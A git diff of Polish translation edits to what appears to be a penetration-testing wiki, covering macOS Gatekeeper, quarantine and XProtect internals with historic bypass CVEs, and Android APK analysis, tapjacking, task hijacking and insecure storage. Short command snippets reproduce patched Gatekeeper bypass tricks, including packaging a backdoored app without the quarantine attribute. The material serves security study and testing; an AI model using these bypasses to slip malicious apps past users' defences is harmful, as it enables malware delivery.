W przypadku, gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie być przeprowadzane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł.
|
||||
|
||||
> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzenia za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
>
|
||||
> Dlatego te kontrole są **przeprowadzane tylko podczas uruchamiania aplikacji z atrybutem kwarantanny.**
|
||||
|
||||
@ -229,7 +229,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
Właściwie proces "może ustawić flagi kwarantanny dla plików, które tworzy" (już próbowałem zastosować flagę USER_APPROVED w utworzonym pliku, ale nie została zastosowana):
|
||||
Właściwie proces "może ustawić flagi kwarantanny dla plików, które tworzy" (już próbowałem zastosować flagę USER_APPROVED w utworzonym pliku, ale nie udało się jej zastosować):
|
||||
|
||||
<details>
|
||||
|
||||
@ -305,23 +305,23 @@ I znajdź wszystkie zainfekowane pliki za pomocą:
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
Informacje o kwarantannie są również przechowywane w centralnej bazie danych zarządzanej przez LaunchServices w **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, co pozwala GUI uzyskać dane o pochodzeniu plików. Co więcej, może to być nadpisane przez aplikacje, które mogą być zainteresowane ukrywaniem swojego pochodzenia. Ponadto, można to zrobić z poziomu API LaunchServices.
|
||||
Informacje o kwarantannie są również przechowywane w centralnej bazie danych zarządzanej przez LaunchServices w **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, co pozwala GUI uzyskać dane o pochodzeniu plików. Co więcej, może to być nadpisane przez aplikacje, które mogą być zainteresowane ukrywaniem swojego pochodzenia. Można to również zrobić za pomocą interfejsów API LaunchServices.
|
||||
|
||||
#### **libquarantine.dylib**
|
||||
|
||||
Ta biblioteka eksportuje kilka funkcji, które pozwalają na manipulację polami atrybutów rozszerzonych.
|
||||
|
||||
API `qtn_file_*` zajmują się politykami kwarantanny plików, API `qtn_proc_*` są stosowane do procesów (plików tworzonych przez proces). Nieeksportowane funkcje `__qtn_syscall_quarantine*` to te, które stosują polityki, które wywołują `mac_syscall` z "Quarantine" jako pierwszym argumentem, co wysyła żądania do `Quarantine.kext`.
|
||||
Interfejsy API `qtn_file_*` zajmują się politykami kwarantanny plików, interfejsy API `qtn_proc_*` są stosowane do procesów (plików tworzonych przez proces). Nieeksportowane funkcje `__qtn_syscall_quarantine*` to te, które stosują polityki, które wywołują `mac_syscall` z "Quarantine" jako pierwszym argumentem, co wysyła żądania do `Quarantine.kext`.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
Rozszerzenie jądra jest dostępne tylko przez **cache jądra w systemie**; jednak możesz pobrać **Kernel Debug Kit z** [**https://developer.apple.com/**](https://developer.apple.com/), który będzie zawierał wersję z symbolami tego rozszerzenia.
|
||||
|
||||
To Kext będzie przechwytywać za pomocą MACF kilka wywołań, aby zarejestrować wszystkie zdarzenia cyklu życia pliku: tworzenie, otwieranie, zmiana nazwy, tworzenie linków twardych... nawet `setxattr`, aby zapobiec ustawieniu atrybutu rozszerzonego `com.apple.quarantine`.
|
||||
To Kext będzie przechwytywać za pomocą MACF kilka wywołań, aby zarejestrować wszystkie zdarzenia cyklu życia pliku: tworzenie, otwieranie, zmiana nazwy, tworzenie twardych linków... nawet `setxattr`, aby zapobiec ustawieniu atrybutu rozszerzonego `com.apple.quarantine`.
|
||||
|
||||
Używa również kilku MIB:
|
||||
|
||||
- `security.mac.qtn.sandbox_enforce`: Wymusza kwarantannę w ramach Sandbox
|
||||
- `security.mac.qtn.sandbox_enforce`: Wymuszanie kwarantanny w ramach Sandbox
|
||||
- `security.mac.qtn.user_approved_exec`: Procesy w kwarantannie mogą wykonywać tylko zatwierdzone pliki
|
||||
|
||||
#### Atrybut xattr pochodzenia (Ventura i nowsze)
|
||||
@ -344,7 +344,7 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
```
|
||||
### XProtect
|
||||
|
||||
XProtect to wbudowana funkcja **anti-malware** w macOS. XProtect **sprawdza każdą aplikację przy pierwszym uruchomieniu lub modyfikacji w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik za pośrednictwem niektórych aplikacji, takich jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu.
|
||||
XProtect to wbudowana funkcja **antymalware** w macOS. XProtect **sprawdza każdą aplikację przy pierwszym uruchomieniu lub modyfikacji w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik za pośrednictwem niektórych aplikacji, takich jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu.
|
||||
|
||||
Baza danych XProtect jest **regularnie aktualizowana** przez Apple o nowe definicje złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na twoim Macu. Zapewnia to, że XProtect jest zawsze na bieżąco z najnowszymi znanymi zagrożeniami.
|
||||
|
||||
@ -354,10 +354,10 @@ Możesz uzyskać informacje o najnowszej aktualizacji XProtect, uruchamiając:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
XProtect znajduje się w chronionej lokalizacji SIP pod **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz pakietu można znaleźć informacje, które XProtect wykorzystuje:
|
||||
XProtect znajduje się w chronionej lokalizacji SIP pod **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz pakietu można znaleźć informacje, które wykorzystuje XProtect:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Pozwala kodowi z tymi cdhashami na korzystanie z przestarzałych uprawnień.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista wtyczek i rozszerzeń, które są zabronione do załadowania za pomocą BundleID i TeamID lub wskazują minimalną wersję.
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Pozwala kodowi z tymi cdhashami na korzystanie z dziedzicznych uprawnień.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista wtyczek i rozszerzeń, które są zabronione do załadowania przez BundleID i TeamID lub wskazują minimalną wersję.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Reguły Yara do wykrywania złośliwego oprogramowania.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Baza danych SQLite3 z hashami zablokowanych aplikacji i TeamIDs.
|
||||
|
||||
@ -374,13 +374,13 @@ Należy zauważyć, że istnieje inna aplikacja w **`/Library/Apple/System/Libra
|
||||
> [!CAUTION]
|
||||
> Należy zauważyć, że Gatekeeper **nie jest uruchamiany za każdym razem**, gdy uruchamiasz aplikację, tylko _**AppleMobileFileIntegrity**_ (AMFI) **weryfikuje podpisy kodu wykonywalnego** tylko wtedy, gdy uruchamiasz aplikację, która została już uruchomiona i zweryfikowana przez Gatekeepera.
|
||||
|
||||
Dlatego wcześniej możliwe było uruchomienie aplikacji, aby zbuforować ją w Gatekeeperze, a następnie **zmodyfikowanie nie wykonywalnych plików aplikacji** (takich jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
||||
Dlatego wcześniej możliwe było uruchomienie aplikacji, aby ją zbuforować z Gatekeeperem, a następnie **zmodyfikowanie niewykonywalnych plików aplikacji** (takich jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
||||
|
||||
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc, jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby zbuforować ją w Gatekeeperze, nie będziesz mógł zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować ją w Gatekeeperze, spowoduje to błąd i nie zostanie uruchomiona.
|
||||
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby ją zbuforować z Gatekeeperem, nie będziesz mógł zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby ją zbuforować z Gatekeeperem, spowoduje to błąd i nie zostanie uruchomione.
|
||||
|
||||
## Obejścia Gatekeepera
|
||||
|
||||
Każdy sposób na obejście Gatekeepera (udać się zmusić użytkownika do pobrania czegoś i uruchomienia tego, gdy Gatekeeper powinien to zablokować) jest uważany za lukę w macOS. Oto niektóre CVE przypisane do technik, które pozwoliły na obejście Gatekeepera w przeszłości:
|
||||
Każdy sposób na obejście Gatekeepera (udać się zmusić użytkownika do pobrania czegoś i uruchomienia go, gdy Gatekeeper powinien to zablokować) jest uważany za lukę w macOS. Oto niektóre CVE przypisane do technik, które pozwoliły na obejście Gatekeepera w przeszłości:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
@ -400,7 +400,7 @@ Sprawdź [**oryginalny raport**](https://ronmasas.com/posts/bypass-macos-gatekee
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
W tym obejściu stworzono plik zip z aplikacją, która zaczynała kompresję od `application.app/Contents` zamiast `application.app`. Dlatego **atrybut kwarantanny** został zastosowany do wszystkich **plików z `application.app/Contents`**, ale **nie do `application.app`**, co było sprawdzane przez Gatekeepera, więc Gatekeeper został obejrzany, ponieważ gdy `application.app` został wywołany, **nie miał atrybutu kwarantanny.**
|
||||
W tym obejściu utworzono plik zip z aplikacją, która zaczynała kompresję od `application.app/Contents` zamiast `application.app`. Dlatego **atrybut kwarantanny** został zastosowany do wszystkich **plików z `application.app/Contents`**, ale **nie do `application.app`**, co było sprawdzane przez Gatekeepera, więc Gatekeeper został obejrzany, ponieważ gdy `application.app` został uruchomiony, **nie miał atrybutu kwarantanny.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -447,7 +447,7 @@ Odkryto, że **Google Chrome nie ustawia atrybutu kwarantanny** dla pobranych pl
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
Formaty plików AppleDouble przechowują atrybuty pliku w osobnym pliku zaczynającym się od `._`, co pomaga w kopiowaniu atrybutów plików **między maszynami macOS**. Jednak zauważono, że po dekompresji pliku AppleDouble, plik zaczynający się od `._` **nie otrzymał atrybutu kwarantanny**.
|
||||
Formaty plików AppleDouble przechowują atrybuty pliku w osobnym pliku zaczynającym się od `._`, co pomaga kopiować atrybuty plików **między maszynami macOS**. Jednak zauważono, że po dekompresji pliku AppleDouble, plik zaczynający się od `._` **nie otrzymał atrybutu kwarantanny**.
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
@ -457,8 +457,8 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
Mając możliwość stworzenia pliku, który nie będzie miał ustawionego atrybutu kwarantanny, było **możliwe ominięcie Gatekeepera.** Sztuczka polegała na **stworzeniu aplikacji pliku DMG** przy użyciu konwencji nazewnictwa AppleDouble (zaczynając od `._`) i stworzeniu **widocznego pliku jako symlink do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
||||
Gdy **plik dmg jest wykonywany**, ponieważ nie ma atrybutu kwarantanny, **ominięcie Gatekeepera** będzie miało miejsce.
|
||||
Mając możliwość stworzenia pliku, który nie będzie miał ustawionego atrybutu kwarantanny, **możliwe było ominięcie Gatekeepera.** Sztuczka polegała na **stworzeniu aplikacji pliku DMG** przy użyciu konwencji nazewnictwa AppleDouble (zaczynając od `._`) i stworzeniu **widocznego pliku jako symlink do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
||||
Gdy **plik dmg jest wykonywany**, ponieważ nie ma atrybutu kwarantanny, **ominięcie Gatekeepera** będzie możliwe.
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -20,7 +20,7 @@ Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się
|
||||
## Smali
|
||||
|
||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
|
||||
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
|
||||
|
||||
## Inne interesujące triki
|
||||
|
||||
@ -29,7 +29,7 @@ Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostę
|
||||
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
|
||||
- [Nadużywanie usług dostępności (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakcja APK z urządzenia:
|
||||
- Wyodrębnij APK z urządzenia:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -39,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Scal wszystkie podziały i podstawowe pliki APK za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Połącz wszystkie podzielone i podstawowe pliki APK za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -48,7 +48,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Case Studies & Vulnerabilities
|
||||
## Studium przypadków i luki
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
@ -58,27 +58,27 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Static Analysis
|
||||
## Analiza statyczna
|
||||
|
||||
Przede wszystkim, aby przeanalizować APK, powinieneś **rzucić okiem na kod Java** za pomocą dekompilatora.\
|
||||
Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych dekompilatorach**](apk-decompilers.md).
|
||||
|
||||
### Looking for interesting Info
|
||||
### Szukanie interesujących informacji
|
||||
|
||||
Rzucając okiem na **ciągi** APK, możesz szukać **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniających (twardo zakodowane dane logowania administratora do aplikacji).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
|
||||
|
||||
**Badanie plików _Manifest.xml_ i **_strings.xml_** aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
|
||||
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
|
||||
|
||||
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
|
||||
|
||||
- **Debugowalne aplikacje**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać debugowalne aplikacje, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania debugowalnych aplikacji na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy włączone jest debugowanie USB.
|
||||
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||
@ -92,15 +92,15 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
Znajdź więcej informacji w:
|
||||
Więcej informacji znajdziesz w:
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Task Hijacking
|
||||
### Przechwytywanie zadań
|
||||
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przejęcie zadania. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przejąć zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
|
||||
Więcej informacji w:
|
||||
|
||||
@ -108,44 +108,44 @@ Więcej informacji w:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Insecure data storage
|
||||
### Niebezpieczne przechowywanie danych
|
||||
|
||||
**Internal Storage**
|
||||
**Przechowywanie wewnętrzne**
|
||||
|
||||
W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Jednak te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
|
||||
1. **Analiza statyczna:**
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||
2. **Analiza dynamiczna:**
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
|
||||
**External Storage**
|
||||
**Przechowywanie zewnętrzne**
|
||||
|
||||
Podczas pracy z plikami na **zewnętrznej pamięci**, takiej jak karty SD, należy podjąć pewne środki ostrożności:
|
||||
Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD, należy podjąć pewne środki ostrożności:
|
||||
|
||||
1. **Dostępność**:
|
||||
- Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
||||
- Pliki na zewnętrznym przechowywaniu są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików.
|
||||
2. **Problemy z bezpieczeństwem**:
|
||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nie przechowywać wrażliwych informacji** na zewnętrznej pamięci.
|
||||
- Zewnętrzna pamięć może być usunięta lub dostępna przez każdą aplikację, co czyni ją mniej bezpieczną.
|
||||
3. **Obsługa danych z zewnętrznej pamięci**:
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Przechowywanie plików wykonywalnych lub plików klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznym przechowywaniu.
|
||||
- Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym.
|
||||
3. **Obsługa danych z zewnętrznego przechowywania**:
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||
|
||||
Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
|
||||
|
||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||
|
||||
- **Preferencje współdzielone**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
- **Bazy danych**: Android pozwala każdej aplikacji na łatwe zapisywanie baz danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
- **Preferencje współdzielone**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce `/data/data/<packagename>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
